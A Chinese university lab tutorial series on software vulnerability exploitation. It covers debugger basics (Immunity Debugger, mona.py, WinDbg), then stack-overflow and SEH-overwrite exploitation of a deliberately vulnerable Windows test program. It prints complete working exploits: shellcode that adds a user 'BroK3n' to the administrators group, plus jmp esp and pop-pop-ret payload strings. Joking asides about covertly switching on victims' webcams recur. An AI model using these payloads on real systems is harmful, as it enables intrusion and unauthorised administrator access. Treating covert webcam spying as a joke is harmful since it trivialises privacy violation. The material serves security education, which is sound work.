从零开始学习软件漏洞挖掘系列教程第一篇:工欲善其事必先利其器
1实验简介
实验所属系列:系统安全
实验对象:本科/专科信息安全专业
实验时数(学分):2学时
实验类别:实践实验类
2实验目的
通过动手做一些实践,熟悉常用的软件漏洞挖掘工具,能在日后的软件漏洞
挖掘做到游刃有余。
3预备知识
1.关于ImmunityDebugger的一些基础知识
ImmunityDebugger是位于迈阿密的专业渗透测试技术公司发布的一种工具,
这个工具能够加快编写利用安全漏洞代码,分析恶意软件和二进制文件逆向工程
等的速度。Immunity称这个调试工具能帮助渗透测试人员制作利用安全漏洞代
掘的神器。
2.关于Windbg的一些基础知识
Windbg是在windows平台下,强大的用户态和内核态调试工具。虽然windbg也提供
图形界面操作,但它最强大的地方还是有着强大的调试命令,一般情况会结合GUI和命令
行进行操作,常用的视图有:局部变量、全局变量、调用栈、线程、命令、寄存器、白板等。
其中“命令”视图是默认打开的。
3.关于Python的一些基础知识
Python,是一种面向对象的解释性的计算机程序设计语言,也是一种功能强大而完善
的通用型语言,已经具有十多年的发展历史,成熟且稳定。Python具有脚本语言中最丰富
和强大的类库,足以支持绝大多数日常应用。Python在漏洞利用是理想的开始Exploit工具。
4实验环境
服务器:Windows7SP1,IP地址:随机分配
辅助工具:Windbg,ImmunityDebugger,python2.7,mona.py
mona.py是由corelanteam整合的一个可以自动构造RopChain而且集成了
metasploit计算偏移量功能的强大挖洞辅助插件’
5实验步骤
5.1实验任务一
任务描述:熟悉ImmunityDebugger的基本使用。
1.我们用ImmunityDebugger打开一个软件将会看到下面
ImmunityDebugger主界面有四个窗口,分别是*反汇编窗口,反汇编窗口又分为四列:地址,机器码,机器码对应的汇编指令,注释。
*寄存器窗口,这里显示了某时刻EAX(累加器),EBX(基址寄存器),ECX(计数器),EDX(数据寄存器),ESI(源变址寄存器),EDI(目的变址寄存器),EBP(基址指针),ESP(堆栈指针),EIP(指令指针)等寄存器的值。
*内存窗口,这个可以查看某个地址的内容比如我想看看0x401000这个地址有什么东西,那么只需要在内存窗口Ctrl+g然后输入401000回车
可以看到0x401000以后的数据是558BEC53….【注:这是十六进制数】*堆栈窗口,堆栈窗口是非常有用的一个窗口,在程序崩溃时候,我们可以在堆栈窗口查看ESP指向,shellcode在堆栈的位置等。
Immunity调试器有GUI和命令行接口。其中命令行接口总是可以使用的,它允许用户快捷运行他们的命令。如果你想查看mmunity支持的命令,可以点击左上角的PyCommandsList。
也可以直接从我们的命令运行Python命令栏。用户可以回到以前输入的命令,或点击下拉菜单,
看看所有的最近使用的命令。
关于Python脚本
Python脚本可以在运行时加载和修改。包括Python解释器将加载任何更改您的自定义脚本。
包括示例脚本,如何创建自己的完整文档
PythonGraphingBuilt绘图另一个Immunity调试器的功能是创建函数图形的能力。我们Python
向量库将创建一个窗口内Immunity调试器按一个按钮图您所选择的功能。不需要第三方软件。
Immunity调试器的PythonAPI包含许多有用的实用程序和功能。脚本可以像本机代码集成到
调试器,这意味着您的代码可以创建自定义表,图表以及各种接口,仍在Immunity调试器内。例
如,当ImmunitySafeSEH脚本运行时,它的输出结果到表内Immunity调试器窗口。
2.接下来重点介绍ImmunityDebugger的一个插件mona.py。在ImmunityDebugger下方的命令行输入!mona即可查看插件所有信息
我们这个系列教程用到的命令有!monapcN(产生N个随机字符串),!monapostr(计算str在N个字符中出现的位置),!monaseh(找出没有开启safeseh模块中的poppopretn序列)。如果你不懂某个命令怎么用请输入!monahelp某个命令。如图
5.1.2.练习
关于mona插件,以下说法错误的是?【单选题】
【A】!monapattern_create3000可以创建3000个随机字符。
【B】某个命令的用法可以!monahelp命令。
【C】!monabytearray-b'\x00'产生一系列除\x00外的随机字节数组
【D】!mona是一个自动化挖掘漏洞工具
答案:D
5.2实验任务二
任务描述:熟悉Windbg和python的基本使用1.我们打开windbg后,默认是这个界面,清新,简洁。WinDbg支持以下三种类型的命令:
·常规命令,用来调试进程
·点命令,用来控制调试器
·扩展命令,可以添加叫WinDbg的自定义命令,一般由扩展dll提供这些命令
下面列举一些常用的windbg命令:1.启动WinDbg
要用WinDbg(x86)调式32位程序,用WinDbg(x64)调试64位程序。
2.使用帮助
任何时候都可以使用!help命令来获取帮助,查看命令的使用方法。
3.设置SymbolFilePath,指定了符号库,我们才能看到详细的类型信息
4.重新加载符号
如果进入调试之后才指定的符号路径,需要使用命令来重新加载符号
.reload
6.保存dump文件
.dump/mac:\test.dmp保存full-dump.dump/mc:\test.dmp保存mini-dump
7.分析Dump
一般先!analyze–vWindbg会根据上面命令自动分析,然后~*kv打印所有线程的堆栈
8.察看模块信息
lm显示所有模块信息
lmf显示所有模块及其路径lmD显示所有模块详细信息
9.单步调试
g继续运行(go),热键F5
t单步越过(stepover),热键F10p单步进入(stepinto),热键F11
10.设置断点(breakpoint)
bp[address][“command”]设置软件断点。比如bpkernel32!CreateProcessW表示在调用这个CreateProcess时设置断点。
如bpkernel32!CreateFileW"dupoi(esp+4);g"表示在调用CreateFile时打印出文件路径(第一个参数),然后继续执行
针对某线程设置断点,只要在命令前加~线程号:
比如~0bp0x441242,表示0号线程执行到地址0x441242时中断ba[accesssize][command]设置硬断点。
其中,access指定访问方式(e执行指令,r读取数据,w写入数据)size表示监视数据的大小(1,2,4)
比如bar40x414422,表示在地址0x414422写入4字节数据是触发断点
11.管理断点
bl列出所有当前断点的状态
bc清除断点,bc*清除所有断点,bc0清除0号断点bd禁用某个断点(disable)be打开某个断点(enable)
12.察看堆栈
kn[framecount]察看当前堆栈及其索引,framecount指定要显示多少桢kb显示堆栈桢地址,返回地址,参数,函数名等
kv在kb的基础上增加了函数调用约定等信息,所以推荐用kv命令察看堆栈.
.frame[frameindex]将当前堆栈切换到某个堆栈桢,比如.frame1切换到第1桢
dv命令察看当前堆栈桢的局部变量
13.察看和修改寄存器
r显示所有寄存器的值
reax=0x100将eax寄存器的改成0x100
14.搜索内存(searchmemory)
s–[type]rangepattern
其中type,b表示byte,w表示word,d表示dword,a表示ASCIIstring,u表示unicdestring
Range表示地址范围,可以用2种表示:一是起始地址加终止地址,二是起始地址加L长度(不是字节长度,是单位长度)。如果搜索空间长度超过256M,用Llength。
Pattern指定要搜索的内容.
比如s-u522e0000527d1000"web"表示在522e0000和527d1000之间搜索Unicode字符串”web”
比如s-w522e0000L0x1000x12120x22120x1234表示在起始地址522e0000之后的0x100个单位内搜索0x12120x22120x1234系列的起始地址
15.反汇编某一地址
uaddress,比如u0x410040表示反汇编地址0x410040的代码uf反汇编某个函数,比如uftest!main
ub反汇编某地址之前的代码,比如ub0x0x410040L20!lmi[modulename]显示某一模块的详细信息
以上只是一部分命令,不用死记硬背,需要用的时候现查就行了。
下面使用Windbg实际分析一个程序:
//bywww.netfairy.net#include
{
charbuffer[8];
MessageBox(NULL,"HelloThisisatest","Netfairy",NULL);
strcpy(buffer,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
return0;}
strcpy(buffer,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");会造成典型的缓冲区溢出,程序将不能正常返回,我们看看Windbg捕获并分析这个异常。编译这个程序,你可以在C盘找到这个test1.exe。用Windbg打开
程序中断
这里提供了三个重要信息:1:程序加载的模块列表,其中有模块的加载基址和介绍地址。2:当前各寄存器的值3:当前执行的指令。我们输入g命令让程序跑起来
到这里还没有出现任何异常,但是当我们按下确定之后
Boom!!!程序出错了,程序不知道接下来执行什么。此时的eip为0x41414141,由模块加载列表可知0x41414141不属于任何模块。
ModLoad:0040000000409000image00400000ModLoad:7751000077690000ntdll.dll
ModLoad:74ce000074df0000C:\Windows\syswow64\kernel32.dllModLoad:75560000755a7000C:\Windows\syswow64\KERNELBASE.dllModLoad:75c3000075d30000C:\Windows\syswow64\USER32.dllModLoad:74c5000074ce0000C:\Windows\syswow64\GDI32.dllModLoad:751500007515a000C:\Windows\syswow64\LPK.dllModLoad:74f900007502d000C:\Windows\syswow64\USP10.dllModLoad:75650000756fc000C:\Windows\syswow64\msvcrt.dllModLoad:758f000075990000C:\Windows\syswow64\ADVAPI32.dllModLoad:7563000075649000C:\Windows\SysWOW64\sechost.dllModLoad:7599000075a80000C:\Windows\syswow64\RPCRT4.dllModLoad:74bf000074c50000C:\Windows\syswow64\SspiCli.dllModLoad:74be000074bec000C:\Windows\syswow64\CRYPTBASE.dll
下面用!analyze–v分析程序出错原因
ExceptionAddress:41414141指明出错地址为0x41414141。ExceptionCode:c0000005(Accessviolation)异常代码为c0000005,这是一个访问异常,因为0x41414141不是一个合法的地址。
STACK_TEXT:
WARNING:FrameIPnotinanyknownmodule.Followingframesmaybewrong.
0018ff4c414141414141414141414141000000410018ff8874cf338a7efde0000018ffd477549f720018ff9477549f727efde0007763a520000000000018ffd477549f45004011307efde000000000000018ffec00000000004011307efde00000000000显示异常时刻堆栈信息。还有其它很多无关信息,我们无须理会。可以看到
Windbg捕获到了缓冲区溢出异常。
2.下面简单介绍一下python。
filename="C:\\test.m3u"#定义变量
myfile=open(filename,'w')#以写方式打开文件test.m3utestfile=open("c:\\test.txt",'r')#打开test.txt文件testdata=testfile.read()#读取test.txt文件的数据到testdatamyfile.write(testdata)#写入数据到test.m3umyfile.close()#关闭文件
我们在桌面新建一个test.py文件,复制这段代码进去,然后在c盘下新建test.txt文件,内容为Helloworld!。然后运行下test.py代码看下
C盘下多了test.m3u文件,打开发现里面确实是helloworld!Python的强大之处当然不止这里,但是我们这个教程主要用到这段代码,当然,还有别的。
5.2.2.练习
以下说法不正确的是:【单选题】
【A】Windbg不能调试驱动程序
【B】python写的代码不需要编译可以运行
【C】python中i=1这样写不会报错。
【D】windbg包含普通,元,扩展命令。
答案:A
6布置一个任务
使用python完成一个socket通信的实验任务,并对实验结果进行分析,完
成思考题目,总结实验的心得体会,并提出实验的改进意见。
7提示
1)python实现socket通信需要用到socket这个库
2)既然通信,那么需要有客户端和服务端,需要分开写。
8配套学习资源
1.Python实现socket通信
从零开始学习软件漏洞挖掘系列教程第二篇:栈溢出覆盖返回地址实践
通过调试一个有漏洞的程序,理解栈溢出的成因并学会利用的方法。
1.关于栈溢出的一些基础知识
出就是超长的数据向小缓冲区复制,导致数据撑爆了小缓冲区,这就是缓冲
区溢出。而栈溢出是缓冲区溢出的一种,也是最常见的。只不过栈溢出发生
在栈,堆溢出发生在堆,本质都是一样的。
2.对“栈”简单介绍
从计算机科学的角度讲,栈指的是一种数据结构,是一种先进后出的数据表。
栈最常见的操作就是push(压栈),pop(弹栈),栈的属性有两个,栈底和栈顶,
ESP指向当前栈顶,每次push,在win32下,往栈压入一个元素,然后ESP-4,
pop就是从栈弹出一个元素,ESP+4。记住,栈是往低地址增长。栈可以用
来保存函数的返回地址,参数,局部变量等。
辅助工具:olldbg调试器
Olldbg是一个强大的ring3调试器,界面友好,操作简单,赢得无数粉
丝。
大家都学过C语言吧?你知道C语言的函数是怎么被执行的吗??为什么执行完一个函数后还能返回去执行函数的下一句代码???为什么攻击者能够控制有漏洞的程序执行任意代码???
我们的任务分为3个部分:
1.分析一段包含main和test函数的C语言代码。
2.使用调试器对该.exe文件进行动态调试。
3.观察程序的行为,包括寄存器,栈。
4.总结产生栈溢出的原因并学会如何编写安全代码
任务描述:使用Olldbg动态调试程序,观察栈溢出的过程。
1.我们test.exe源码如下#include
//有问题的函数inttest(char*str){
charbuffer[8];//开辟8个字节的局部空间
strcpy(buffer,str);//复制str到buffer[8],这里可能会产生栈溢出
//主函数intmain(){
LoadLibrary("Netfairy.dll");
charstr[30000]="AAAAAAA";//定义字符数组并赋值test(str);//调用test函数并传递str变量return0;
}
这个程序相当简单,但是足以说明栈溢出了。我们在C盘找到test1.exe文件。用Olldbg载入,如图
程序断在了程序入口点,但是注意,这不是main函数入口点,编译器在编译的时候回自动添加一些初始化的代码。我们往下拉,在0x40116E发现主函数入口,这里就是callmain。
接着定位test函数,因为我们的目的就是分析test函数的溢出行为,F7跟进这个call
可以看到0x40107D处calltest.00401000,其中00401000就是我们的test函数了。在分析test函数之前我们先看看函数栈帧,如下图
在调用一个函数比如我们这个程序的test函数的时候,首先会把test函数的参数压栈,然后把calltest.00401000的下一条指令地址压栈,因为执行完test函数需要返回接着往下执行嘛,所以需要保存返回地址。最后保存前函数的栈帧,这步是可选的,有的直接用esp寻址,但是大多时候需要保存EBP。最后就是分配局部变量空间,开始执行test函数,执行完test函数后,把刚才保存的EBP恢复,把刚才保存的返回地址送到EIP,所以程序能够接着往下执行。说完这些,我们实际操作一下,首先我们执行到0x0040107D,按照前面说的执行到
00401070E88BFFFFFFcalltest.00401000
应该已经把test函数的参数压栈了,源码是
test(str);//调用test函数并传递str变量
test函数只有一个参数,那就是一个字符串指针,由源码
charstr[30000]="AAAAAAA";//定义字符数组并赋值
可知压栈的应该是一个地址,这个地址指向的内容是”AAAAAAA”,我们看下此时的调试器,
看到了吧栈顶此时保存的是str的地址0x00188A1C,在数据窗口可以清楚的看到这个地址指向的数据正是‘AAAAAAA’。下面我们按F7进入test函数内部
细心的你可能发现了,此时栈顶被压入了0x00401075,你在看看前面那张图的
的下一句代码的地址,发现它正是0x00401075,没错,它就是保存的返回地址,执行完test函数后继续到这个地址执行。继续按三下F8,如图
执行完这三条指令
00401000/$55pushebp00401001|.8BECmovebp,esp00401003|.83EC08subesp,0x8一个典型的函数栈帧就形成了,如前所述,典型的函数栈帧就是
在我们的例子中,00188A18就是参数它指向‘AAAAAAA’,0040105C就是保存的返回地址,0018FF48就是保存的前EBP,在EBP上面的8个0就是为局部变量开辟的空间。我们继续F8单步执行到这里
看到了吧,我们局部变量的起始址0x00188A00,已经由原来的0000000000000000变成了现在的4141414141414141,这里是十六进制表示,而十六进制的41正是A,你在看看源码
7个A被复制到局部变量的空间了,没错吧。到这里,一切都还是风平浪静。然而,你有没有想过如果是这样呢
charstr[30000]="AAAAAAAABBBBCCCC";//定义字符数组并赋值执行完
strcpy(buffer,str);//复制str到buffer[8],这里可能会产生栈溢出会变成什么样子?我们不妨试试,你可以在C盘下找到这个修改后的文件:test2.exe。我们重新用Olldbg载入test2.exe,直接按Ctrl+G输入401013回车来到0x00401013处,光标定位到0x00401013,按F2下个断点,然后F9
Boom!!!我们看此时的堆栈,在和前面相比0x188A0C本来应该保存返回地址的,但是现在被43434343(CCCC)覆盖了。所以我们知道了,但输入超长数据的时候,有可能造成栈溢出,如本例的test函数,我们分配的局部空间是8个字节,当输入AAAAAAAABBBBCCCC时,AAAAAAAA刚好填满8个字节缓冲区,BBBB就会覆盖掉保存的EBP,CCCC就会覆盖掉返回地址,但test函数执行完返回时,就会去CCCC继续执行然而CCCC是一个不可执行的地址,所以你看到
以下说法正确的是?【单选题】
【A】如果函数有栈溢出漏洞,我们总能覆盖返回地址利用它。
【B】覆盖保存的EBP同样可以利用
【C】在栈溢出中我们可以覆盖返回地址为shellcode的地址以利用
【D】堆栈中函数的参数保存相对返回地址的低地址处
答案:C
任务描述:成功利用栈溢出漏洞
1.前面我们把返回地址覆盖为CCCC,这是个无效地址,所以程序保存就退出了。但是如果把返回地址覆盖为某段恶意代码的地址呢?没错,程序执行完test函数后就会去执行恶意代码。一般把我们想要执行的恶意代码称之为shellcode。当然,有时候也不能称为恶意代码,或者我们仅仅只是想偷开下摄像头【此处略去三百字】。哈哈,我们接着栈溢出,既然我们可以控制返回地址,那么就好办了,我们可以控制程序执行任意代码。在栈溢出中,典型的利用格式是
这里解释一下把保存的返回为什么把保存的返回地址覆盖为jmpesp地址就可以执行我们的shellcode。还是用Olldbg载入test1.exe,运行到
我们可以看到,此时ESP指向保存的返回地址,当继续执行retn这句时,相当于popeip,jmpeip,就是把esp指向的0040105C放到eip,然后跳转到该地址执行,我们不妨按F8看看
你注意到了吧,此时的ESP指向了保存的返回地址下面,也就是参数这里,那么你也许会想,如果我们把shellcode提交为参数,再想办法在test函数返回的时候跳去我们的shellcode执行,一切就完美了。其实,这N年前就有人想到了,看图,如果我们把返回地址覆盖为jmpesp指令的地址,那么函数在返回的时候就会去执行jmpesp,而esp指向我们的shellcode,然而cpu才不管返回地址已经不是原来的返回地址了,它只会乖乖的执行jmpesp,然后就执行我们的shellcode,然后….就没有然后了,泡杯茶,看妹子现场直播播吧…..此处略去三小时【前面shellcode功能是偷开摄像头:/奸笑】好了,接下来我们实战一下。要成功利用这个程序,需要两个条件:一个jmpesp地址和一个可用的shellcode。下面说下如何找jmpesp地址,用Olldbg载入前面的test1.exe,然后运行。按Atl+M,来到这里模块列表
然后右键-在反汇编窗口查看,转到Netfairy.dll领空。然后ctrl+f输入jmpesp回车
5002100FFFE4jmpesp
500210110001addbyteptrds:[ecx],al5002101358popeax
我们在5002100f处发现了一个jmpesp地址。接下来就是找一段可用的shellcode了,【严重申明】本人乃纯洁的男淫,没有偷开视频的shllcode!!!我在网上找了一段添加用户的shellcode。
Shellcode如下:
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
所以完整的Exploit是这样的
#include
charbuffer[8];//开辟8个字节的局部空间strcpy(buffer,str);//复制str到buffer[8],这里可能会产生栈溢出return0;
charstr[30000]="AAAAAAAABBBB\x0f\x10\x02\x50\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";//定
义字符数组并赋值
test(str);//调用test函数并传递str变量return0;
你可以在C盘下找到这个test3.exe,运行test3.exe前
运行test3.exe后
Boom!!!栈溢出利用成功,看起来不像偷开摄像头那么刺激,但是至少我们让程序执行了我们的shellcode,不是吗?区别在于你想执行的是什么罢了,如果你有偷开的代码的话:/坏笑。
以下说法正确的是:【单选题】
【A】控制返回地址就可以执行任意的shellcode
【B】本例子也可以覆盖返回地址为callesp
【C】如果返回后esp不直接指向shellcode,那么不能用jmpesp地址覆盖返回地址,也就无法利用这个漏洞
【D】shellcode不可以布置在返回地址前面。
答案:B
6配套学习资源
栈溢出教程
从零开始学习软件漏洞挖掘系列教程第三篇:利用SEH机制
Exploitit
实验对象:本科/专科网络/信息安全专业
在传统的缓冲区溢出中,我们可以通过覆盖返回地址以跳转到shellcode。但
并不是所有的溢出都是那么简单的。比如当程序有GS保护的情况下,我们不
能直接覆盖返回地址。今天,我们将看到另一种使用异常处理机制的漏洞利用技
术。该技术可以绕过GS的保护。通过该实验我们了解覆盖SEH绕过GS的漏洞
利用技术。
1.关于程序异常处理的一些基础知识
什么是异常处理例程?一个异常处理例程是内嵌在程序中的一段代码,用
来处理在程序中抛出的异常。一个典型的异常处理例程如下所示:
try{
//runstuff.Ifanexceptionoccurs,gotocode}
catch{
//runstuffwhenexceptionoccurs
Windows中有一个默认的SEH(结构化异常处理例程)捕捉异常。如果
Windows捕捉到了一个异常,你会看到“XXX遇到问题需要关闭”的弹窗。
这通常是默认异常处理的结果。很明显,为了编写健壮的软件,开发人员
应该要用开发语言指定异常处理例程,并且把Windows的默认SEH作为最
终的异常处理手段。当使用语言式的异常处理(如:try...catch),必须要按
照底层的操作系统生成异常处理例程代码的链接和调用(如果没有一个异常
处理例程被调用或有效的异常处理例程无法处理异常,那么WindowsSEH
将被使用(UnhandledExceptionFilter))。所以当执行一个错误或非法指令
时,程序将有机会来处理这个异常和做些什么。如果没指定异常处理例程的
话,那么操作系统将接管异常和弹窗,并询问是否要把错误报告发送给MS。
异常处理包括两个结构
PointertonextSHErecord指向下一个异常处理
PointertoExceptionHandler指向异常处理函数
Windbg是在windows平台下,强大的用户态和内核态调试工具
ImmunityDebugger软件专门用于加速漏洞利用程序的开发,辅助漏洞
挖掘以及恶意软件分析
python是一种面向对象、解释型计算机程序设计语言
首先我们对目标程序进行尝试溢出,看看是否能够覆盖到SEH,然后计算多少个字符可以覆盖到到SEH,寻找合适的POPPOPRETN序列和SHELLCODE构造我们的Exploit。
1.尝试溢出。
2.定位溢出点。
3.构造利用。
前言下面是我写的有漏洞程序的源码
//bywww.netfairy.net
#include
#include
voidtest(char*str)
charbuf[8];
strcpy(buf,str);
intmain()
FILE*fp;
inti;
charstr[30000];
LoadLibrary("C:\\Netfairy.dll");
if((fp=fopen("C:\\test.txt","r"))==NULL)
printf("\nFilecannotopen!");
getchar();
exit(0);
for(i=0;;i++)
if(!feof(fp))
str[i]=fgetc(fp);
else
break;
test(str);
fclose(fp);
return0;
【注】本有漏洞的程序名为test.exe,在C盘下可以找到.
任务描述:使用恶意构造的文件溢出目标程序并计算溢出点
当我们拿到一个软件,正常情况下,我们先试试能不能溢出利用它。利用下面python
代码试试
filename="C:\\test.txt"#待写入的文件名
myfile=open(filename,'w')#以写方式打开文件
filedata="A"*50000#待写入的数据
myfile.write(filedata)#写入数据
myfile.close()#关闭文件
这里产生50000个A,运行这python代码,在C盘下会产生5000个A组成的test.txt文件。然后用windbg打开程序,执行命令g,可以看到,windbg捕获到了异常,再用!exchain查看SEH链
我们利用超长字符串成功覆盖了SEH接下来就是定位溢出点了,也就是多少个字符可以覆盖到SEH.首先我们用ImmunityDebugger的mona.py插件产生50000个随机字符!monapc50000
然后把找到patttern.txt这个文件,把选中的内容去掉。
改名为test.txt替换原C盘下的test.txt文件。然后再次用windbg打开我们的test.exe程
序,输入命令g运行崩溃,在输入!exchain查看异常处理链,如下图
可以看到PointertonextSHErecord被覆盖为0x356e4d34,也就是字符串5nM4因为因
为这是小序存放,所以反过来就是4Mn5
我们打开ImmunityDebugger在命令行输入!monapattern_offset4Mn5
由上图可知我们可以知道4Mn5出现在9764位置,所以理论上我们填充9764个字符就可以
覆盖到PointertonextSHErecord了,但是我最了一下测试发现9764个字符没有覆盖到
PointertonextSHErecord。难道我们计算有错?其实不是的,我们刚才产生了50000个
随机字符对吧?我发现这50000个字符每隔20280就循环一次,所以我们需要覆盖9764
+20280个字符才可以覆盖到PointertonextSEHrecord,因此我们把前面的python代码
改成下面这样
filedata="A"*30044#待写入的数据
重新产生test.txt文件,然后用ImmunityDebugger打开test.exe程序并运行,程序出现异常,此时看0x18ff78这个地址,我们发现AAAAAA还差20个字符覆盖到PointertonextSHErecord
因此我们把前面的python代码的这句
filedata="A"*30044#待写入的数据改成filedata="A"*30064#待写入的数据。再次用
ImmunityDebugger运行test.exe
可以看到刚好能覆盖到地址0x18ff78,也就是PointertonextSHErecordok,定位完成。
【注】本实验与环境关系很大,可能你做的跟我的不完全一样,大家随机应变。学会思路就
行。
5.1.1.练习
关于覆盖SEH,下列说法正确的是是?【单选题】
【A】我们可以覆盖SHE那么一定也可以覆盖返回地址并利用
【B】覆盖SEH中我们只需要覆盖PointertonextSEHrecord
【C】如果程序没有写异常处理那么就不能利用SEH
【D】需要用POPPOPRETN序列的地址覆盖PointertoExceptionHandler
任务描述:构造我们的利用代码。
1由前面可知我们填充30044个字符就可以覆盖到PointertonextSHErecord
。seh利用的格式是
30064填充物+"\xEB\x06\x90\x90"+poppopretn指令序列地址+shellcode
我这里给出一个在Windows764位sp1下可用的shellcode
//添加用户shellcode
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
还差poppopretn序列就行了,其实我觉得最难的就是找poppopretn序列,如果在xp下倒不是什么问题,win7以上微软加入了各种安全保护措施,如safeseh。这就是为什么前面程序代码中我加入了
因为系统的dll基本上都有safeseh,所以我们需要找到一个没有safeseh的模块,它就是Netfairy.dll,并且这个模块有poppopretn序列。
下面说下怎么在Netfairy.dll查找poppopretn。首先用ImmunityDebugger载入test.exe
程序并运行,出现异常后点工具栏的按Atl+M
哈哈,看到我们的netfairy.dll模块了吧,然后
看到了吧,0x50021344有我们想要的poppopretn序列
500213445EPOPESI
500213455BPOPEBX
50021346C3RETN
所以,完整的exploit是这样
filedata="A"*30044+"\xEB\x06\x90\x90"+"\x44\x13\x02\x50"+\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"#待写入的数
据
运行这段python代码,然后用ImmunityDebugger打开test.exe程序并运行
Perfect!!!我们看到了PointertoExceptionHandler成被覆盖为50021344,还有我们
的shellcode。然而,先高兴太早,请你先仔细看。
我数了一下我的shellcode长度是是194个字节,你再计算PointertoException
Handler后到最底下,少于194字节对不?那就说明我们的shellcode被截断了。缓冲
区太短了,我们的shellcode放不下。那怎么办,换个短到合适的shelocode?但是我
手头没有,于是,想到了跳转,没错。前面我们不是填充了30064个A吗?那里有大
把的空间啊,我们为何不把shellcode放在那里?我们可以在PointertonextSHE
record放一个往前跳的指令,就可以跳到我们的shellcode了,我附上我的POC
filedata="A"*29770+"\x90"*100+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\
x8b\x52\x1c\x8b\x42"\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"+\
"\xEB\x06\x90\x90"+"\x44\x13\x02\x50"\
"\xe9\x03\xff\xff\xff"#00
18FF80E903FFFFFFJMP0018FE88
先运行这段python代码,然后运行目标程序,打开dos窗口,输入netuser看看
可见成功添加名为BroK3n的用户溢出成功,执行了我们的shellcode,漏洞利用成功。
5.2.1.练习
【A】如果POPPOPRETN模块有safeseh,那么将不能利用成功
【B】覆盖PointertonextSHErecord的EB069090是作为跳到shellcode的跳
板
【C】shellcode只能布置在PointertoExceptionHandler后面
【D】shellcode不能出现\00和其他坏字符
6实验报告要求
考题目,总结实验的心得体会,并提出实验的改进意见。
7分析与思考
1)很多时候我们会选着覆盖返回地址加以利用,但是现在的操作系统引入
了各种保护措施,使得利用更加困难。比如GS可以成功挫败很多基于覆盖返回
地址的利用
2)关于覆盖SEH微软也有相应的防护措施,如safeseh。但是其中也有绕
过的办法,在特定的情况下还是可以利用成功。
8参考
从零开始学习软件漏洞挖掘系列教程第四篇:绕过GS机制
通过该实验了解绕过GS机制的方法,能够在开启程序GS编译的情况下成
功利用。
1.关于GS的一些基础知识
针对缓冲区溢出覆盖函数返回地址这一特征,微软在编译程序时候使用了一
个很酷的安全编译选项—GS。/GS编译选项会在函数的开头和结尾添加代码
